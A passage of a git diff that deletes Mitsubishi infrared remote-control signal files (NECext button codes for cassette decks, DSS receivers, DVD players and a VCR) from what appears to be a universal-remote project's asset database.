TAPE1_REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AC 00 00 00 -# -name: TAPE2_REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AD 00 00 00 -# -name: TAPE1_INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AE 00 00 00 -# -name: TAPE2_INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AF 00 00 00 -# -name: TAPE1_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B0 00 00 00 -# -name: TAPE1_ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B2 00 00 00 -# -name: TAPE1_PLAY_R._< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B4 00 00 00 -# -name: TAPE2_PLAY_R._< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B5 00 00 00 -# -name: TAPE1_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B8 00 00 00 -# -name: TAPE1_ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: BA 00 00 00 -# -name: TAPE1_B -type: parsed -protocol: NECext -address: 77 00 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir deleted file mode 100644 index 53fcca358..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_1_PLAY_> -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_1_PLAY_REV_< -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_1_STOP_[] -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_1_FF_>> -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_1_REW_<< -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_1_BLANK_SKIP -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 09 00 00 00 -# -name: TAPE_1_MPSS -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 0A 00 00 00 -# -name: TAPE_2_AUTO_MUTE -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 0B 00 00 00 -# -name: TAPE_2_PLAY_> -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 10 00 00 00 -# -name: TAPE_2_PLAY_REV_< -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 11 00 00 00 -# -name: TAPE_2_STOP_[] -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 12 00 00 00 -# -name: TAPE_2_FF_>> -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 13 00 00 00 -# -name: TAPE_2_REW_<< -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 14 00 00 00 -# -name: TAPE_2_REC/PAUSE_ -type: parsed -protocol: NECext -address: 8A 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir deleted file mode 100644 index 8bd926697..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 09 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0A 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0D 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0E 00 00 00 -# -name: PROG/EDIT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 10 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 11 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 13 00 00 00 -# -name: A<->B -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 14 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 15 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 16 00 00 00 -# -name: FR_<< -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1B 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1C 00 00 00 -# -name: FS_>> -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1D 00 00 00 -# -name: RS_<< -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1E 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir deleted file mode 100644 index 6777fbfec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: SPORTS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: NEWS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: SERVICES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: ALPHA_OR_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: HD/SD -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir deleted file mode 100644 index 9feb3acf3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir deleted file mode 100644 index 3aad96df0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir deleted file mode 100644 index 67f07d928..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 04 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 04 00 00 00 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0C 00 00 00 -# -name: T/C -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 10 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 14 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 14 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 18 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1C 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1C 00 00 00 -# -name: PAUSE/STEP_/> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1C 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 24 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 24 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 25 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 25 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 25 00 00 00 -# -name: FL_DIMMER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 27 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 28 00 00 00 -# -name: 3D-DNR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2B 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2D 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 30 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 34 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 34 00 00 00 -# -name: SLOW_MOTION_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 34 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 34 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 35 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 36 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 38 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3D 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3D 00 00 00 -# -name: A-B_RPT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 40 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 41 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 49 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 49 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 49 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 52 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 60 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 60 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 63 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 63 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 64 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 65 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 65 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 65 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 65 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 66 00 00 00 -# -name: SUB_ON -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 67 00 00 00 -# -name: SUB-TITLE_ON/OFF -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 67 00 00 00 -# -name: SUBTITLE_ON_OFF -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 67 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6D 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir deleted file mode 100644 index bbba9bbd3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_AUDIO_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_JOG/ADJ+(IN_SRCH) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_JOG/ADJ-(IN_SRCH) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir deleted file mode 100644 index 8bb261caf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCR_PLAY> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCR_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCR_JOG/ADJ+(IND_SRC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_STOP[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_JOG/ADJ-(IND_SRC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_FFWD>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_REW<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_AUDIO/VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir deleted file mode 100644 index 1deca1f4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 02 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 04 00 00 00 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0C 00 00 00 -# -name: T/C -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 10 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 14 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 18 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1B 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1C 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 24 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 28 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2C 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 30 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 34 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 35 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 36 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 38 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 3E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 49 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 52 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 60 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 63 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 